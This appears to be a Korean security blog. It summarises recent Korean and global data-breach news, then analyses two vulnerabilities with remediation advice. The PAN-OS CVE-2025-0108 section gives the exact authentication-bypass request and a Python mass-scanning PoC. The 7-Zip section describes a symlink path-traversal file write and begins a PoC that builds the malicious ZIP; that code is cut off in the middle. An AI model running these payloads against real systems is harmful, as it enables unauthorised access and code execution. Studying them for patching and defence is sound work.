요약 - 쿠팡, 넷마블 고객 개인정보 노출 사고 발생
- CrowdStrike, 해킹 그룹과 접촉해 내부 정보를 유출한 내부자 해고
내용 -  쿠팡, 고객 4500여명 개인정보 노출 사고 발생
> 18일 고객 개인정보가 비인가 조회된 것으로 확인
> 조회된 정보는 이름, 이메일 주소, 배송지 주소록(전화번호·주소), 최근 5건의 주문 정보
> 고객 결제와 관련한 정보에 대한 접근은 없었으며 보호되고 있음
> 과학기술정보통신부와 한국인터넷진흥원, 개인정보보호위원회에 신고
> 해당 활동을 탐지한 뒤 제3자가 사용했던 접근 경로 차단
> 지금까지 조회한 정보를 이용한 사례는 확인되지 않음

=====================================================================================

- 넷마블, 22일 해킹으로 인해 자사 PC 게임 사이트(www.netmarble\[.]net) 이용 고객과 일부 임직원 정보가 유출된 정황 확인
> 이름, 생년월일, 암호화된 비밀번호 정보 유출이 의심된다고 25일 밝힘
> 2015년 이전 가맹 PC방 사업주 정보와 일부 전현직 임직원 정보도 포함
> 주민등록번호와 같은 고유식별정보나 민감정보 유출은 없었으며, 비밀번호 등은 암호화된 상태로 해당 정보만으로는 악용 불가능할 것으로 판단
> 유출 가능성이 있는 게임은 바둑과 장기, 마구마구, 모두의마블(PC) 등 PC 온라인 게임 18종
> 유출 규모 등은 관계기관 조사가 나오면 즉시 투명하게 공개할 것
> 시스템 전반에 대한 확대 점검을 진행하는 등 필요한 보호 조치와 재발 방지 대책 수립 약속
> 게임 이용자들에게 비밀번호 변경 권고

=====================================================================================

- CrowdStrike, 최근 사내 정보를 외부 해킹조직에 넘긴 직원 한 명 해고
> 자사 내부 시스템 관련 정보를 외부로 유출한 ‘의심스러운 내부자’를 추적직원 한 명이 해킹그룹 ‘스캐터드 랩서스 헌터즈’(Scattered Lapsus$ Hunters)와 접촉한 사실 확인 및 해고
> 유출된 정보는 스크린샷 형태로 해킹 조직의 해커들의 텔레그램 공개 채널에 게시
사내·외 대시보드 화면과 옥타 싱글사인온 패널 등 주요 업무 시스템의 스크린샷 형태로 공개
> 이미지에는 업무용 리소스 링크를 비롯한 로그인 인터페이스 정보가 포함
※ 스캐터드 랩서스 헌터즈(Scattered Lapsus$ Hunters) : 스캐터드 스파이더, 랩서스, 샤이니헌터스 등 해킹 조직의 연합

- 해커들, 공격 경로가 외부 벤더사인 Gainsight 플랫폼을 통해 이뤄졌다고 주장
> 크라우드스트라이크 자체 조사 결과 시스템 침입은 없었으며, 단순히 직원이 자신의 PC 화면을 캡처해 외부로 전달한 행위로 확인
> 해킹 조직 샤이니헌터스가 해당 직원에게 2만5000달러를 대가로 내부 네트워크 접근 권한을 요구한 정황도 포착

- 크라우드스트라이크 보안운영센터(SOC), 해당 의심 행위를 신속히 탐지해 즉시 대응에 나섰으며, 문제 직원은 곧바로 해고
시스템 손상이나 고객 영향은 전혀 없었고 고객 보호는 완벽히 유지됐다고 강조

- 해킹 조직들이 반복적으로 내부자 포섭 시도를 늘리고 있음
> 내부자 위협은 기술적 방어 조치만으로 막기 어렵고, 대규모 보안 기업조차 예외가 될 수 없음을 보여주는 사례로 평가
> 외부 공격자가 기업 내부자를 금전적으로 포섭하려는 시도는 앞으로 더욱 증가할 것으로 예상
행위 기반 모니터링, 비정상 인증 탐지, 최소 권한 원칙 적용을 기본 정책으로 강화하는 것이 중요
기타 - Scattered Lapsus$ Hunters
> 최근 글로벌 기업들을 대상으로 세일즈포스 계정 탈취 및 보이스 피싱 공격을 주도해온 복합적 범죄 조직
> 올해 초부터 구글, 시스코, 알리안츠 생명, 아디다스, 워크데이 등 주요 기업의 세일즈포스 인스턴스를 침해한 것으로 알려짐
> Lapsus$, ShinyHunters, Scattered Spider 등 기존 난폭한 피싱·침입 조직의 연합 형태로 활동
> 최근에는 ShinySp1d3r라는 새로운 랜섬웨어 서비스(RaaS) 운영으로 공격 영역을 확장
> 세일즈포스 비밀 키를 탈취해 280곳 이상의 기업 인스턴스를 침해했다고 주장

 

보안뉴스

 

쿠팡, 고객 4500여명 개인정보 노출돼 정부 신고... “결제 관련 정보는 보호 돼”

쿠팡에서 고객 4500여명의 개인정보가 노출되는 사고가 발생했다. 이에 쿠팡은 과학기술정보통신부와 한국인터넷진흥원, 개인정보보호위원회에 신고했다.

www.boannews.com

 

“믿었던 직원이”…크라우드스트라이크, 내부자 해킹 공모 적발

글로벌 사이버보안 기업 크라우드스트라이크(CrowdStrike)가 최근 사내 정보를 외부 해킹조직에 넘긴 직원 한 명을 해고했다고 밝혔다. 보안 업계는 이번 사건을 ‘인적 내부 위험’이 기술적 취약

www.boannews.com

 

넷마블, 해킹 당해 개인정보 유출… “주민번호는 제외”

국내 메이저 게임사 중 하나인 넷마블에서 개인정보 유출됐다. 회사는 공식 홈페이지를 통해 지난 22일 외부 해킹으로 인해 자사 PC 게임 사이트 이용 고객과 일부 임직원의 정보가 유출된 정황

www.boannews.com

 

요약 - 해킹을 통해 국내 기업의 내부 자료를 탈취 및 유포를 주장하는 공격 조직 증가
- 공격자가 데이터 샘플을 공개하기 시작 전 침해 여부와 범위를 파악하는 것이 중요
내용 - 랜섬웨어 조직 Akira, 다크웹을 통해 LG에너지솔루션 공격 및 데이터 공개 협박
> Akira, LG에너지솔루션 미국공장에서 확보한 방대한 데이터를 공개하겠다고 협박
약 1.67TB 규모의 기업 문서와 46GB SQL 데이터베이스가 곧 업로드될 것이라고 주장
> 해당 문서에는 임직원 개인정보부터 기밀 프로젝트, 계약서, 재무 자료 등 기업의 핵심 자산이 대거 포함된 것으로 주장

> 유출된 자료에 미국·한국 여권, 비자, 의료 문서, 주민등록증 이미지, 직원 주소·연락처·이메일, R&D 프로젝트 문서, 비밀유지계약(NDA), 고객 및 파트너사 자료, 재무 문서, 각종 계약서 등이 포함
> 특히 SQL DB까지 확보했다는 점은 단순 문서 파일이 아니라 운영 시스템 내부까지 완전히 접근했다는 것

복수의 핵심 시스템이 동시에 침해됐을 가능성이 있음
> 실제 유출이 사실일 경우 기술 스파이 활동이나 해외 경쟁사로의 정보 흘림 등 산업 안보 측면에서 대형 사고로 이어질 가능성 존재

> 언급한 정보 중에는 특히 여권·비자·의료 정보 등 고위험 개인정보가 포함돼 있어 임직원 피해도 심각하게 우려

> 이번 사건의 파급력은 기술 유출을 넘어 글로벌 공급망 전반의 보안 리스크로 이어질 수 있음
> LG에너지솔루션은 테슬라·GM·현대차 등 세계 주요 완성차 업체와 협력
> 유출된 계약 문서나 고객 정보가 악용될 경우 협력사 대상 스피어피싱, 계약서 위조, 계정 탈취 등 2차 공격 위험

> 배터리·철강·반도체 장비 등 한국 제조 대기업은 제조 공정 특성상 계정 관리가 복잡하고, 협력사 계정 노출이 잦아 랜섬웨어에 취약
> 제조업은 IT와 OT 환경이 밀접하게 연결돼 공격자에게 큰 이득을 제공하는 구조로 단순 금전 목적이 아닌 기술 정보 확보를 노린 복합 공격도 배제할 수 없음

> 향후 조치는 단순 내부 보안 강화 수준을 넘어 국가 차원의 산업기술 보호 체계 가동이 필요하다는 목소리
전사 로그 분석, AD 계정 권한 검증, 백업 시스템 무결성 점검, 협력사 계정 이력 조사 등이 시급
> R&D 기술 문서 유출이 확인되면 산업부와 국가정보원 국가핵심기술 보호부서와의 공조가 필수적

> 실제 침해가 발생했는지 여부와 자료 유출의 범위는 아직 확인되지 않음
> 아키라가 올린 데이터 목록과 공격 패턴을 고려할 때 향후 사태가 상당한 파장을 일으킬 수 있다는 우려
==================================================================================
- 세아베스틸지주가 협력업체 해킹을 통해 내부 소스코드와 인증정보가 외부 유출 의혹 제기
> “SeAH Holdings Data Breach”라는 제목으로 올라왔으며, 게시자는 자신이 최근 수행한 계약업체 해킹을 통해 세아홀딩스의 일부 내부 데이터 탈취 주장
> 게시물에는 세아홀딩스 로고와 함께 구체적인 데이터 목록, 샘플 파일 다운로드 링크 등이 포함
> 세아홀딩스 측에 확인 결과, '세아홀딩스' 홈페이지는 '세아베스틸지주'와 분리된 서버로 별도 관리되고 있으며, 현재 해킹 시도 흔적은 확인되지 않았다고 전함

■ 해커 “소스코드·구성 파일·API 키·하드코딩된 인증정보 확보” 주장
> 세아베스틸지주에서 소스코드, 구성 파일, 액세스 키, API Keys, 하드코딩된 인증정보 등의 민감 데이터 유출 주장
> 직접 세아베스틸지주를 공격한 것이 아니라 협력 중인 계약업체의 시스템을 해킹해 내부 정보가 연쇄적으로 유출된 ‘공급망 공격’ 형태라고 주장

> 종합하면, 해킹을 당한 서버는 세아베스틸지주의 서버가 아닌 홈페이지를 개발했던 업체의 테스트 환경인 '개발 서버'가 해킹을 당한 것으로 확인 
> 통상적으로 홈페이지 개발 시 '개발 서버'를 구성한 이후 해당 코드를 실제 '운영 서버'에 반영하는 방식으로 진행
> 이번 문제가 된 서버는 홈페이지 개발 업체의 서버로 현재 '세아베스틸지주'가 운영하는 서버는 아님
> 현재 세아베스틸지주 '운영 서버'로는 해킹 시도는 없었던 것으로 확인

> 홈페이지 개발 업체에서는 해킹 발생 직후 '개발 서버'를 폐쇄하고 한국인터넷진흥원에 즉시 신고를 진행하고 엑세스 토큰 변경 등의 조치 진행 완료
> 또 서버의 잠재 리스크를 방지하고 보안을 강화하는 차원에서 '세아베스틸지주'는 홈페이지 소스 코드 취약점 재검토/변경 진행 및 보안 진단을 강화해 관리  

■ 샘플 파일까지 공개돼 위험성 커
> 이번 사고에서는 888명의 정보가 침해된 것으로 추정되며, 해커는 이를 뒷받침하기 위한 목적으로 일부 파일을 샘플 형태로 게시
> 샘플까지 공개된 상황은 해당 데이터가 실제로 유출되었을 가능성이 매우 높다는 의미

■ 해커는 다크포럼 ‘GOD’ 등급…최근 여러 기업 유출 게시글 올려
> 해당 계정은 다크포럼 내에서 ‘GOD’ 등급을 보유하고 있으며, 게시물 66개, 쓰레드 52개, 가입일 2025년 6월, 평판 411 등 활발한 활동을 이어오고 높은 평판을 받고 있는 것으로 확인
> 최근 몇 달 동안 다수 기업의 데이터 유출 게시물을 올린 바 있어, 이번 사례 역시 연속된 공격의 일환으로 분석

■ “협력사 보안 취약 시 대기업도 공격에 무방비”
> 이번 사고가 협력업체 보안이 대기업 전체의 보안 체계를 무너뜨릴 수 있다는 공급망 위협의 전형적인 사례라고 지적
> 이어 다음과 같은 긴급 조치를 조언
즉각적인 API 키·액세스 키 폐기 및 재발급
소스코드 저장소 접근 권한 전면 재점검
협력업체 보안 수준 평가 및 모니터링 강화
침해지표(IOCs)에 기반한 전사적 탐지 활동 수행

> 또한 코드 기반 시스템을 운영하는 기업의 경우, 협력업체와의 연결 지점이 가장 위험한 취약 지점이 될 수 있음
==================================================================================
- Cl0p이 운영하는 다크웹 유출 사이트에 대한항공 기내식 공급업체 대한항공씨앤드서비스가 새로운 피해 기업으로 등록

■ 클롭 유출 사이트, “KOREANAIRCND.COM – PAGE CREATED” 문구만 공개
> 다크웹 클롭 유출 페이지에서는 ‘KOREANAIRCND.COM – PAGE CREATED, YOU SOME TIME TO RESPOND AND CONTACT US’라는 문구가 게재
> 이는 클롭이 피해 기업 전용 페이지를 생성한 뒤 협상을 압박하기 위해 사용하는 전형적인 첫 단계
> 현재 페이지에는 데이터 샘플, 파일 목록, 스크린샷, 유출 용량, 요구 조건 등 어떤 정보도 공개되지 않은 상태
> 침해 사실 여부는 클롭 측 주장일 뿐, 구체적 피해 범위는 아직 확인되지 않은 상황
> 다크웹 모니터링 사이트에서도 동일하게 “피해자명·도메인·그룹명”만 자동 수집돼 있으며, 탈취 데이터나 몸값 관련 정보는 전혀 제공되지 않음

■ 현재까지는 “협상 압박용 초기 페이지”…데이터 공개 단계로 넘어갈지 주목
> 클롭은 과거에도 피해 기업의 이름만 먼저 공개한 뒤, 협상 진행, 연락 지연, 단가 협상 실패 등의 상황이 벌어지면 순차적으로 샘플 데이터→전체 데이터를 공개하는 방식으로 압박
> 전문가들은 이번 대한항공씨앤드서비스를 공개한 것도 “협상 유도 단계의 티저(Teaser) 페이지”로 판단

■ 클롭이 실제로 무엇을 탈취했는지는 아직 확인 불가
> 현재 다크웹 페이지에는 어떤 종류의 데이터가 탈취됐는지 어떠한 단서도 존재하지 않음
> 또한 대한항공씨앤드서비스 및 대한항공 측에서도 현재까지 별도의 공식 입장을 내지 않은 상태
> 항공사와 정기적 문서 교환 및 납품 과정에서 대량 데이터 생성 등 공급망 침해를 통한 항공사 2차 피해 가능성이 있음

■ 보안전문가 “지금은 초기 단계…해당 기업은 철저한 내부 시스템 이상징후 조사 필요”
> 현재 상황을 “클롭이 페이지를 만들었다는 것은 최소한 기업의 네트워크나 시스템 일부에 접근했을 가능성
> 지금은 데이터 공개 이전의 초기 압박 단계로 보이며, 기업이 조용히 대응하거나 협상 중일 가능성도 있을 것

> 또한 실제 대응을 위해서는 다음과 같은 절차가 필요하다고 조언
최근 2주~1개월간 시스템 접근 로그, 외부 전송 기록 점검
파일 서버·ERP·클라우드 접근 권한 모니터링
계정 탈취(인포스틸러 감염) 여부 확인
백업 시스템 무결성 검증
항공사 연계 시스템 긴급 점검
다크웹 추가 게시물 지속 모니터링

> 전문가들은 특히 “공격자가 데이터 샘플을 공개하기 시작하면 피해 범위가 한눈에 드러나기 때문에, 그 전 단계에서 침해 여부와 범위를 파악하는 것이 무엇보다 중요하다”고 강조

> 현재까지 데이터 탈취 정황이나 피해 규모는 확인되지 않음
> 다만 클롭의 공격 패턴과 공급망 타깃 전략을 고려하면 이번 사건은 향후 추가 정보 공개 여부에 따라 이슈로 확대될 가능성이 큼
기타 - Akira
> 최근 2년간 한국 제조업을 집중적으로 공격
> VPN 계정 탈취, 협력사 계정 도용, 백업 시스템 파괴 등 전형적인 침투 패턴을 보임
> 내부망 진입 후에는 액티브 디렉토리를 장악하고 문서 서버·백업 서버를 암호화하며, 협상 결렬 시 유출 사이트에 데이터를 전면 공개
> 최근 한국 제조·중공업 분야에서만 최소 수십여 건 이상의 공격을 시도해 왔으며, 다수의 기업을 유출 협박
> 협상에 응하지 않는 기업을 상대로 대규모 유출을 실행해 왔으며, 이 과정에서 수십 테라바이트 단위의 R&D 문서가 해외로 흘러들어간 사례 존재

- 소스코드와 API 키, 액세스 키 등은 기업 내부 시스템과 클라우드 자원에 직접 접근할 수 있는 핵심 정보
> 특히 인증정보가 외부에 노출될 경우 다음과 같은 심각한 후속 공격이 발생할 수 있음

- 클롭의 다른 사례를 보면, 실제 공개 전 다음과 같은 패턴이 빈번하게 나탐
> 피해 기업 이름만 먼저 공개->연락이 없으면 직원정보·계약서 등 일부 샘플 공개->최종 협상 결렬 시 수십GB~수TB 단위 전체 데이터 업로드->심각할 경우, 고객·거래처·언론·감독기관에 직접 이메일 발송

 

보안뉴스

 

[긴급 속보] 아키라 랜섬웨어 조직, LG에너지솔루션 내부자료 1.7TB 유출 주장…아직 샘플 DB 공개

글로벌 배터리 2차전지기업인 국내 LG에너지솔루션이 해외 랜섬웨어 조직 ‘아키라(Akira)’의 공격 표적이 됐다는 주장이 다크웹을 통해 제기됐다.데일리시큐가 위

www.dailysecu.com

 

[단독] 해커 “세아베스틸지주, 협력사 해킹으로 API키·내부 소스코드 유출” 주장…해킹 포럼에

특수강 및 금속소재 산업을 기반으로 한 세아베스틸지주가 협력업체 해킹을 통해 내부 소스코드와 인증정보가 외부로 유출됐다는 의혹이 제기됐다. 데일리시큐는 위협 인텔

www.dailysecu.com

 

[단독] 클롭 랜섬웨어, 대한항공 기내식 공급사 해킹 당한 기업으로 지목…데이터 탈취 여부는

악명높은 랜섬웨어 조직 ‘클롭(Cl0p)’이 운영하는 다크웹 유출 사이트에 대한항공 기내식 공급업체 ‘대한항공씨앤드서비스(Korean Air CND Service

www.dailysecu.com

 

1. CVE-2025-0108

[사진 1] CVE-2025-0108 [1]

- Nginx → Apache → PHP로 이어지는 인증 처리 과정에서 발생하는 Path Confusion 문제를 악용한 인증 우회 취약점

영향받는 버전
PAN-OS
- 11.2.0 이상 ~ 11.2.4-h4 미만
- 11.1.0 이상 ~ 11.1.6-h1 미만
- 11.1.2 이상 ~ 11.1.2-h18 미만
- 10.2.7 이상 ~ 10.2.7-h24 미만
- 10.2.8 이상 ~ 10.2.8-h21 미만
- 10.2.9 이상 ~ 10.2.9-h21 미만
- 10.2.10 이상 ~ 10.2.10-h14 미만
- 10.2.11 이상 ~ 10.2.11-h12 미만
- 10.2.12 이상 ~ 10.2.12-h6 미만
- 10.2.13 이상 ~ 10.2.13-h3 미만
- 10.1.0 이상 ~ 10.1.14-h9 미만

2.주요내용

- PAN-OS의 관리 인터페이스는 다음과 같은 방식으로 웹 요청을 처리 [2]

1. Nginx 단계

- 클라이언트의 요청을 수신하여 인증이 필요한지 여부 결정

> 특정 경로(/unauth/)가 포함된 경우 인증이 필요 없는 것으로 처리하며, X-pan-AuthCheck 헤더를 off로 설정

if ($uri ~ ^\/unauth\/.+$) {
  set $panAuthCheck 'off';
}

if ($uri = /php/logout.php) {
  set $panAuthCheck 'off';
}

# ...

2. Apache 단계

- 전달된 요청을 다시 처리하고, mod_rewrite를 통해 특정 경로를 재작성

> 경로를 해석하고 내부 리디렉션을 수행하는 과정에서 URL을 한 번 더 디코딩

<Location "/">
    # Turns off DirectorySlash as it uses input host in redirect thus a vulnerability.
    # Have not found a way to fix that.
    DirectorySlash off
    RewriteEngine on
    RewriteRule ^(.*)(\/PAN_help\/)(.*)\.(css|js|html|htm)$ $1$2$3.$4.gz [QSA,L]
    AddEncoding gzip .gz

    Options Indexes FollowSymLinks
    Require all granted
</Location>

3. PHP 단계

- 전달된 요청의 헤더를 기반으로 인증 여부 판단 및 요청 처리

> X-pan-AuthCheck: off 상태일 경우, 인증이 불필요한 것으로 간주

if (
    $_SERVER['HTTP_X_PAN_AUTHCHECK'] != 'off'
    && $_SERVER['PHP_SELF'] !== '/CA/ocsp'
    &&  $_SERVER['PHP_SELF'] !== '/php/login.php'
    && stristr($_SERVER['REMOTE_HOST'], '127.0.0.1') === false
) {
    // ... check authentication ...
}

 

2.1 Apache의 경로 재해석 문제

- Apache는 RewriteRule을 처리할 때 내부 리디렉션을 수행하는데, 이 과정에서 URL이 다시 한 번 디코딩

> 이중 디코딩 문제를 활용해 공격자는 인증 우회를 시도할 수 있음

 

- 공격자는 다음과 같은 요청을 통해 인증을 우회할 수 있음

GET /unauth/%252e%252e/php/ztp_gate.php/PAN_help/x.css HTTP/1.1
Host: my.testing.environment
Connection: close

 Nginx 단계

   ⒜ %252e%252e는 첫 번째 URL 디코딩에서 %2e%2e로 변환

   ⒝ URL에 "/unauth/" 경로가 포함되어 있어 X-pan-AuthCheck: off가 설정

   ⒞ 전체 URL "/unauth/%252e%252e/php/ztp_gate.php/PAN_help/x.css"을 Apache로 전달

② Apache 단계

   ⒜ %252e%252e는 디코딩되어 %2e%2e로 변환

   ⒝ RewriteRule과 일치하므로 URL 재작성 되고, %2e%2e가 다시 디코딩

   ⒞ URL  /php/ztp_gate.php/PAN_help/x.css.gz를 mod_php를 통해 PHP에 전달

③ PHP 단계

   ⒜ /php/ztp_gate.php로 전달된 요청이 X-pan-AuthCheck: off 상태이므로 인증 없이 실행

[사진 2] 취약점 실행 단계

3. PoC

- /unauth/%252e%252e/php/ztp_gate.php/PAN_help/x.css URL로 GET 요청 전송 [3]

import requests
import argparse
from urllib.parse import urljoin
import ssl
import logging

# Disable SSL warnings
ssl._create_default_https_context = ssl._create_unverified_context
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

# Logging
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(message)s', handlers=[
    logging.StreamHandler(), 
    logging.FileHandler("scan_results.log")
])

def read_file(file_path):
    """Read URLs from a file and return them as a list."""
    try:
        with open(file_path, 'r') as file:
            return file.read().splitlines()
    except Exception as e:
        logging.error(f"Error reading file {file_path}: {e}")
        return []

def check_vulnerability(url):
    """
    Check if the given URL is vulnerable to CVE-2025-0108.
    A vulnerable site should return 'Zero Touch Provisioning' in the response.
    """
    protocols = ['http://', 'https://']
    target_path = "/unauth/%252e%252e/php/ztp_gate.php/PAN_help/x.css"

    for protocol in protocols:
        target_url = urljoin(protocol + url.lstrip('http://').lstrip('https://'), target_path)
        headers = {
            "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) Gecko/20100101 Firefox/72.0"
        }

        try:
            response = requests.get(target_url, verify=False, headers=headers, timeout=10)
            if response.status_code == 200 and 'Zero Touch Provisioning' in response.text:
                message = f"Vulnerable: {url} - CVE-2025-0108 Vulnerability (Authentication Bypass)!"
                logging.info(message)
                return True
            else:
                logging.debug(f"Not vulnerable: {url} - Response code: {response.status_code}")
        except requests.exceptions.RequestException as e:
            logging.warning(f"Error connecting to {url}: {e}")

    return False

if __name__ == "__main__":
    
    parser = argparse.ArgumentParser(description="Check for CVE-2025-0108 vulnerability (Authentication Bypass).")
    parser.add_argument("-u", "--url", help="Single URL to check")
    parser.add_argument("-f", "--file", help="File containing a list of URLs to check")
    
    args = parser.parse_args()
    url = args.url
    file = args.file

    if url:
        check_vulnerability(url)
    elif file:
        urls = read_file(file)
        if urls:
            for u in urls:
                check_vulnerability(u)
        else:
            logging.error("No URLs found in the file.")
    else:
        logging.error("Please provide a URL or a file containing URLs to check.")
        logging.info("Usage: python CVE_2025_0108_V1.py -u <URL> or python CVE_2025_0108_V1.py -f <file_with_urls>")

    # About
    logging.info("\nAuthor: Sohaib E.B. - sohaib.eu")

4. 대응방안

- 벤더사 제공 업데이트 적용 [4][5][6]

취약점 제품명 영향받는 버전 해결 버전
CVE-2025-0108 PAN-OS 11.2.0 이상 ~ 11.2.4-h4 미만 11.2.4-h4 이상
11.1.0 이상 ~ 11.1.6-h1 미만
11.1.2 이상 ~ 11.1.2-h18 미만
11.1.6-h1 이상
11.1.2-h18 이상
10.2.7 이상 ~ 10.2.7-h24 미만
10.2.8 이상 ~ 10.2.8-h21 미만
10.2.9 이상 ~ 10.2.9-h21 미만
10.2.10 이상 ~ 10.2.10-h14 미만
10.2.11 이상 ~ 10.2.11-h12 미만
10.2.12 이상 ~ 10.2.12-h6 미만
10.2.13 이상 ~ 10.2.13-h3 미만
10.2.7-h24 이상
10.2.8-h21 이상
10.2.9-h21 이상
10.2.10-h14 이상
10.2.11-h12 이상
10.2.12-h6 이상
10.2.13-h3 이상
10.1.0 이상 ~ 10.1.14-h9 미만 10.1.14-h9 이상

※ PAN-OS 11.0 버전은 24.11.17 지원 종료되어 업데이트 계획 없음

5. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2025-0108
[2] https://www.assetnote.io/resources/research/nginx-apache-path-confusion-to-auth-bypass-in-pan-os
[3] https://github.com/sohaibeb/CVE-2025-0108
[4] https://security.paloaltonetworks.com/CVE-2025-0108
[5] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&nttId=71664&menuNo=205020
[6] https://asec.ahnlab.com/ko/86384/
[7] https://www.bleepingcomputer.com/news/security/hackers-exploit-authentication-bypass-in-palo-alto-networks-pan-os/
[8] https://hackyboiz.github.io/2025/04/03/clalxk/CVE-2025-0108/

1. 7-Zip

- 오픈 소스로 배포되고 있는 압축 소프트웨어 [1]

2. 취약점

[사진 1] CVE-2025-1101 [2]

- 7-Zip의 ZIP 파일 추출 과정에서 심볼릭 링크를 파싱·처리하는 논리적 결함으로 인한 임의 파일 쓰기 및 원격 코드 실행 취약점

> 21.02 버전에서 도입된 구조적 문제로, Windows에서만 악용될 수 있

영향 버전
- 7-Zip 21.02 ~ 24.09

 

- 취약점은 CArchiveExtractCallback::GetStream()에서 시작되며, 해당 함수는 ReadLink를 호출 [3]

> GetStream()은 CArchiveExtractCallback::GetExtractStream()을 호출하며, 해당 함수는 파일 크기를 확인해 심볼릭링크인지 여부 식별

  if (_curSize_Defined && _curSize > 0 && _curSize < (1 << 12))
  {
    if (_fi.IsLinuxSymLink())
    {
      is_SymLink_in_Data = true;
      _is_SymLink_in_Data_Linux = true;
    }
    else if (_fi.IsReparse())
    {
      is_SymLink_in_Data = true;
      _is_SymLink_in_Data_Linux = false;
    }
  }

 

- 추가 처리 과정을 거친 뒤 CArchiveExtractCallback::CloseReparseAndFile()로 넘어가며, 이 메서드는 링크를 파싱하여 링크가 가리키려는 위치를 알아내려 시도

> 파서는 두 가지 중요한 속성을 설정

① Link path (심볼릭링크의 목적지 경로)

② isRelative (심볼릭링크가 상대 경로인지 여부)

// Definition
bool CLinkInfo::Parse(const Byte *data, size_t dataSize, bool isLinuxData);

/* some code */

  bool repraseMode = false;
  bool needSetReparse = false;
  CLinkInfo linkInfo;
  
  if (_bufPtrSeqOutStream)
  {
    repraseMode = true;
    reparseSize = _bufPtrSeqOutStream_Spec->GetPos();
    if (_curSize_Defined && reparseSize == _outMemBuf.Size())
    {
      // _is_SymLink_in_Data_Linux == true 
      needSetReparse = linkInfo.Parse(_outMemBuf, reparseSize, _is_SymLink_in_Data_Linux);
      if (!needSetReparse)
        res = SendMessageError_with_LastError("Incorrect reparse stream", us2fs(_item.Path));
    }
  }

First issue

- Linux 심볼릭링크가 Windows 스타일의 "C:\" 경로로 설정될 수 있었음

> 링크 경로는 전체 "C:\"로 설정되지만, 파서는 Linux 스타일의 절대 경로 검사를 따르기 때문에 해당 링크를 상대 경로로 표시

  #ifdef SUPPORT_LINKS
  if (repraseMode)
  {
    _curSize = reparseSize;
    _curSize_Defined = true;
    
    #ifdef SUPPORT_LINKS
    if (needSetReparse)
    {
      if (!DeleteFileAlways(_diskFilePath))
      {
        RINOK(SendMessageError_with_LastError("can't delete file", _diskFilePath))
      }
      {
        bool linkWasSet = false;
        RINOK(SetFromLinkPath(_diskFilePath, linkInfo, linkWasSet))
        if (linkWasSet)
          _isSymLinkCreated = linkInfo.IsSymLink();
        else
          _needSetAttrib = false;
      }

    }
    #endif
  }
  #endif

 

- SetFromLinkPath는 지정된 경로로 심볼릭 링크를 생성하는 함수이며, 절대 경로로의 링크를 생성하지 못하도록 하도록 검사 과정이 존재

> 7-Zip은 새로 추출된 zip 파일 내부에서 링크가 가리키는 상대 목적지 경로를 생성한 후 IsSafePath로 검증

> 상대 링크의 경우 심볼릭링크가 위치한 zip 내부 디렉터리 경로를 링크 경로 앞에 덧붙여 검사

  if (linkInfo.isRelative)
    relatPath = GetDirPrefixOf(_item.Path);
  relatPath += linkInfo.linkPath;
  
  if (!IsSafePath(relatPath))
  {
    return SendMessageError2(
          0, // errorCode
          "Dangerous link path was ignored",
          us2fs(_item.Path),
          us2fs(linkInfo.linkPath)); // us2fs(relatPath)
  }

Second issue

- First issue에서 볼 수 있듯이 링크가 상대 링크로 평가되어 "isRelative == true" 로 설정

> 심볼릭링크가 zip 파일의 루트 디렉터리가 아닌 다른 디렉터리에 있는 경우, 해당 경로가 링크 앞에 더해져 검사를 우회할 수 있음

> 검사는 isSafePath ("some/directory/in/zip" + "C:\some\other\path") 처럼 수행되며, 이 경우 true로 평가

Third issue

- 심볼릭 링크를 생성하기 전에 링크 경로의 유효성을 검사하는 검사가 존재

> 하지만, 검사 이전에 주어진 "if (_item.IsDir)" (‘item(심볼릭링크)’이 디렉터리인지 여부를 확인) 구문이 먼저 존재

> 이때, item은 디렉터리가 아니므로 유효성 검사를 우회할 수 있음

 if (!_ntOptions.SymLinks_AllowDangerous.Val)
  {
    #ifdef _WIN32
    if (_item.IsDir) // NOPE
    #endif
    if (linkInfo.isRelative)
      {
        CLinkLevelsInfo levelsInfo;
        levelsInfo.Parse(linkInfo.linkPath);
        if (levelsInfo.FinalLevel < 1 || levelsInfo.IsAbsolute)
        {
          return SendMessageError2(
            0, // errorCode
            "Dangerous symbolic link path was ignored",
            us2fs(_item.Path),
            us2fs(linkInfo.linkPath));
        }
      }
  }

 

- 위 과정을 모두 거치면 심볼릭링크가 생성

  // existPath -> C:\some\other\path (symlink destination)
  // data -> path for symlink to be created 
  // Initializes reparse data for symlink creation
  if (!FillLinkData(data, fs2us(existPath), !linkInfo.isJunction, linkInfo.isWSL))
    return SendMessageError("Cannot fill link data", us2fs(_item.Path));

  /// ...

  // creates symlink
  if (!NFile::NIO::SetReparseData(fullProcessedPath, _item.IsDir, data, (DWORD)data.Size()))
  {
    RINOK(SendMessageError_with_LastError(kCantCreateSymLink, fullProcessedPath))
    return S_OK;
  }

 

- 아래와 같은 디렉터리 구조를 만들어 압축하여 악용가능

> link(심볼릭링크)가 먼저 풀려 생성되고, calc.exe가 symlink가 가리키는 실제 위치(Ex.C:\Users\YOURUSERNAME\Desktop)로 풀려 쓰여짐

> 7-Zip이 심볼릭링크를 따라가서 바이너리를 임의의 위치에 쓰게 되는 것

data/link -> (symlink) C:\Users\YOURUSERNAME\Desktop (또는 원하는 다른 위치)
data/link -> (Directory)
data/link/calc.exe -> (추출 시 대상 디렉터리에 쓰고자 하는 파일)

3. PoC

- PoC 동작 과정 [4]

① add_dir : ZIP 내부에 'data/' 디렉터리 생성
② add_symlink : 특정 경로를 가리키는 심볼릭 링크 data/link_in 생성
> 링크 대상은 "C:\Users\pac\Desktop" 같은 Windows 절대 경로
③ add_file_from_disk : 추출 시 대상 디렉터리에 쓰고자 하는 파일을 ZIP 파일에 추가
> 압축 해제 시 7-Zip은 link_in이 가리키는 링크를 따라 해당 경로에 기록

import argparse
import os
import time
import zipfile

def add_dir(z, arcname):
    if not arcname.endswith('/'):
        arcname += '/'
    zi = zipfile.ZipInfo(arcname)
    zi.date_time = time.localtime(time.time())[:6]
    zi.create_system = 3
    zi.external_attr = (0o040755 << 16) | 0x10
    zi.compress_type = zipfile.ZIP_STORED
    z.writestr(zi, b'')

def add_symlink(z, arcname, target):
    zi = zipfile.ZipInfo(arcname)
    zi.date_time = time.localtime(time.time())[:6]
    zi.create_system = 3
    zi.external_attr = (0o120777 << 16)
    zi.compress_type = zipfile.ZIP_STORED
